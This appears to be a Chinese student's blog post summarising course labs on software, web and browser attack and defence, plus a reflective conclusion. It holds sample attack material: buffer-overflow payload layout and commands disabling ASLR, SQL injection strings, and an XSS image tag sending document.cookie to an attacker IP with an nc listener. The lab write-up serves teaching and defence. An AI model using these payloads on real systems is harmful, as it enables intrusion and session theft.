八、软件安全攻防——缓冲区溢出与Shellcode

1. 缓冲区溢出原理

栈帧结构(从高地址到低地址):

[函数参数] → [返回地址] → [旧EBP] → [局部变量缓冲区]

当函数使用gets()strcpy()等无边界检查的函数时,用户输入可以超出缓冲区的边界,向上覆盖旧EBP和返回地址。通过精确控制覆盖返回地址的值,可以劫持程序执行流程跳转到任意地址。

实验对象pwn1的正常流程是main→foo(回显用户输入),攻击目标是触发getShell函数(提供给Shell),而getShell在正常情况下不会被调用。

2. 三种攻击方法的递进

方法一:手工修改可执行文件

  • 反汇编分析:objdump -d pwn1找到call foo的机器码位置和getShell入口地址(0x0804847d)。
  • 计算偏移量:偏移 = getShell地址 - (call指令地址 + 5) = -0x3D = 0xFFFFFFC3。
  • 十六进制编辑:vim -b pwn1进入二进制模式,:%!xxd转换为十六进制视图,将原偏移d7 ff ff ff改为c3 ff ff ff
  • 本质:修改文件静态内容,改变call指令的目标地址。

方法二:缓冲区溢出攻击

  • 分析foo函数栈帧:缓冲区在ebp-28,到返回地址ebp+4共有32字节(28字节填充+4字节覆盖ebp)。
  • 构造payload:32字节任意填充 + 0x0804847d(小端序:\x7d\x84\x04\x08)
  • 通过管道输入:(cat input; cat) | ./pwn1——第二个cat保持管道开启以维持Shell。
  • 本质:运行时动态覆盖返回地址,不修改文件本身。

方法三:自定义Shellcode注入

  • Shellcode:一段execve("/bin/sh", NULL, NULL)的机器码(约24字节的32位代码),需确保不含空字节(\x00)以避免被字符串截断函数中断。
  • 关闭保护机制:execstack -s pwn1设置栈可执行,echo "0" > /proc/sys/kernel/randomize_va_space关闭ASLR。
  • 布局:NOP sled + Shellcode + padding + 返回地址(指向NOP sled)
  • 通过gdb调试确定Shellcode在栈中的精确地址。
  • 本质:不仅控制程序执行流,还注入了攻击者自定义的代码。

3. 系统保护机制与绕过

  • ASLR(地址空间布局随机化):随机化栈、堆、共享库的加载地址,增加攻击难度。可通过echo "0" > /proc/sys/kernel/randomize_va_space关闭。
  • NX/DEP(栈不可执行):禁止在栈上执行代码。可通过execstack -s设置栈可执行。
  • Stack Canary(栈金丝雀):在返回地址前插入随机值,函数返回前检查该值是否被修改。绕过需要先泄露该值。

九、Web应用程序安全攻防

1. SQL注入攻击

SQL注入的本质是将用户输入的数据误解为SQL代码执行。发生条件:用户输入直接拼接到SQL语句中,未做过滤或参数化处理。

SELECT注入:登录页面的SQL语句为SELECT * FROM credential WHERE name='$input' AND Password='$hash'。输入Admin'#后变成...WHERE name='Admin'#' AND Password='...'#是MySQL的注释符,它把后面的密码校验部分注释掉了,'则闭合了前面的引号,使SQL语句只按name字段匹配Admin用户,完全绕过了密码验证。

UPDATE注入:更新语句为UPDATE credential SET nickname='$input', ... WHERE ID=$id。在昵称字段输入', salary='20251913' where Name='Boby';#后变成UPDATE credential SET nickname='', salary='20251913' where Name='Boby';#' ...。通过闭合前面的引号,扩展了SET子句,修改了本无权修改的salary字段,并添加where条件精确指定目标用户。

SQL注入防御:预处理语句(Prepared Statement)是SQL注入的根本性防御方案。将SQL语句模板与用户数据分离——先用$conn->prepare()创建带占位符?的SQL模板,再用$stmt->bind_param()将用户输入绑定为参数。数据库引擎会将参数作为纯数据而非SQL代码处理,从根本上杜绝了注入的可能性。

2. XSS跨站脚本攻击

XSS攻击的本质是将恶意JavaScript代码注入到受害者的浏览器中执行

反射型XSS:恶意脚本通过URL参数等方式提交,服务器将其直接嵌入响应页面返回给用户。如在个人简介中嵌入<script>alert("XSS")</script>,其他用户访问该页面时触发弹窗。

存储型XSS:恶意脚本被持久化存储在服务器端(数据库、文件等),每次用户请求包含该数据的页面时都会触发。Elgg实验中所有的XSS攻击都属于存储型。

Cookie窃取:通过document.cookie获取用户会话凭证,通过<img src="http://攻击者IP:5555?c="+escape(document.cookie)>将Cookie发送到攻击者监听端口(nc -l 5555 -v)。Cookie是Web应用维持用户登录状态的身份凭据,获取Cookie后攻击者可冒充受害者。

CSRF攻击:伪造受害者的请求。分析Elgg添加好友的POST请求结构后,在XSS脚本中构造AJAX请求,自动发送好友添加申请。受害者只要浏览被污染页面,就会自动添加攻击者为好友。

XSS蠕虫:在CSRF攻击的基础上加入自我复制逻辑——修改受害者个人资料时同时嵌入恶意脚本。受害者A访问被感染页面→A的资料被修改→嵌入蠕虫代码→受害者B访问A的页面→B的资料也被修改→链式传播。实验中依次登录Alice、Boby等账户,体验了蠕虫的自动传播效果。

XSS防御

  • 输出编码:htmlspecialchars()将特殊字符转换为HTML实体(<&lt;>&gt;),使浏览器不将其解析为代码。
  • CSP(内容安全策略):通过HTTP响应头Content-Security-Policy限制可执行的脚本来源,禁止内联脚本(script-src 'self'),从根本上阻止XSS。

十、浏览器安全攻防

1. 浏览器漏洞利用链

浏览器漏洞利用的完整攻击链:

  1. 攻击者使用Metasploit构造含有漏洞利用代码的木马网页。
  2. 启动内建Web服务器,生成恶意URL(如http://192.168.200.4:8080/dZAlDK)。
  3. 通过钓鱼邮件将恶意URL发送给受害者。
  4. 受害者使用存在漏洞的浏览器访问。
  5. 网页中的恶意脚本触发浏览器漏洞(如MS06-014)。
  6. Shellcode执行,建立反向TCP连接到攻击机。
  7. 攻击者通过sessions -i进入Shell,获得靶机完全控制权。

2. 网页木马取证分析——链式追踪方法论

这是整个课程中逻辑性最强的实验之一,体现恶意代码分析的核心方法论:

  • 第一层:start.html → 隐藏iframe → new09.htm。
  • 第二层:new09.htm → 流量统计JS(无害) + XXTEA+Base64加密的JS。
  • 第三层:XXTEA解密(密钥从\x73\x63\x72\x69\x70\x74十六进制转换得到script) → 浏览器类型判断 → 根据浏览器类型分发不同JS。
  • 第四层:号JS → 十六进制解码 → 下载014.exe;b号JS → packer解密 → 提取shellcode中的URL → 下载bf.exe。

每一步的关键方法:

  • iframe定位:搜索<iframe标签。(第1步)
  • 流量统计脚本识别:查看// 本文件内容是流量统计代码。(第2步)
  • 加密算法识别:查看原始JS头部的加密方法声明。(第2步)
  • 密钥提取:分析加密代码中的解密函数,跟踪\x开头的十六进制字符串。(第3步)
  • shellcode提取:在解码后的文件中搜索/的ASCII码0x2f(或URL标准格式http://),定位下载链接。(第4步)

3. MD5哈希在恶意样本分析中的应用

MD5哈希是恶意样本的"指纹",每个独特的文件对应唯一的MD5值。在分析中:将解密出的URL计算MD5→用MD5值作为文件名到哈希服务器下载→对应的文件就是该URL指向的实际恶意文件。这种机制使安全研究人员可以在不直接访问恶意URL的情况下获取样本,同时保护分析环境不被暴露。

4. 攻防对抗实践

  • 攻击方技巧:漏洞利用代码混淆(URL编码、Base64编码、JavaScript混淆)以逃避检测。
  • 防守方技巧:对混淆代码逐层去混淆,还原原始形态,对比CVE数据库识别具体漏洞编号。
  • 对抗的本质:攻击方追求隐蔽性,防守方追求可见性,双方围绕信息的不对称展开博弈。

课堂的收获与不足

通过这一学期十一次实验的系统学习,我不仅掌握了网络攻防的理论知识,更是在一次次动手操作中将这些理论付诸实践,真正理解了攻击与防御的原理。实验设计由浅入深,从第一次搭建攻防环境时的懵懂——连Metasploitable怎么配置IP都要请教同学,到后来能够独立使用Metasploit完成远程渗透、用Wireshark还原攻击过程——每一步都在积累。信息收集实验让我了解了攻击者如何一步步获取目标情报,nmap扫描和Nessus漏洞评估让我意识到看似安全的系统其实漏洞百出。网络嗅探与协议分析实验则让我体会到明文传输的脆弱——TELNET登录的用户名和密码可以在一秒内被还原。TCP/IP协议攻击实验让我重新回顾了计算机网络和网络安全课上学的ARP、ICMP、TCP协议知识,不同的是这次是亲手用netwox和ettercap把那些理论上的漏洞变成了真实的攻击效果。网络安全防范技术实验让我第一次站在防守方的视角思考问题——配置iptables过滤规则、用Snort检测入侵行为、分析蜜网网关的防火墙脚本,我开始理解为什么安全防御往往比攻击更难:防守方需要堵住所有可能的入口,而攻击方只需要找到一个突破口。Windows和Linux操作系统的攻防实验让我熟悉了Metasploit框架的完整渗透流程,从MS08-067到Samba usermap_script再到vsftpd后门,每一次exploit执行成功时的Shell回显都让我既兴奋又警醒。第十次Web安全实验是我最喜欢的一次,SQL注入和XSS攻击在图形化的SEEDLab环境中效果直观,尤其是XSS蠕虫代码让病毒从Alice传到Boby再传到其他用户,亲眼见证了链式传播的威力,也理解了为什么Web漏洞至今仍是OWASP Top 10的常客。

在学习过程中,我也遇到了不少困难。新版Kali的Snort 3与教程中的Snort 2.x参数不兼容,Nessus激活反复失败,蜜罐网关IP写错了排查好几个小时,Kali时断时续的网络问题几乎每次实验都要折腾一番。这些问题在当时让人烦躁,但回头来看,排查和解决这些问题本身就是一种重要的能力训练。我还意识到自己在实验中对工具的依赖性较强,很多时候是"按教程敲命令→看到预期结果→截图→完成",但对于Metasploit的exploit模块内部是如何构造恶意报文、Snort的检测规则引擎是如何匹配特征、shellcode中的每一条指令在CPU上如何执行,理解其实还不够深入,这是我今后需要重点突破的方向。

总的来说,这门课不仅让我掌握了一套网络攻防的实操技能,更重要的是培养了我的安全思维——做攻击实验时会想"如果我是防守方该怎么发现",分析漏洞时会想"这个缺陷还能被怎样利用",追踪攻击日志时会想"每一步操作留下的痕迹在哪里"。课程虽然结束了,但网络安全的学习才刚刚起步,未来我会在汇编和逆向分析上多下功夫,补上自己的短板,也会通过CTF和靶场平台继续锻炼独立发现和利用漏洞的能力。

posted @ 2026-06-17 15:16  山楂糖葫芦  阅读(4)  评论(0)    收藏  举报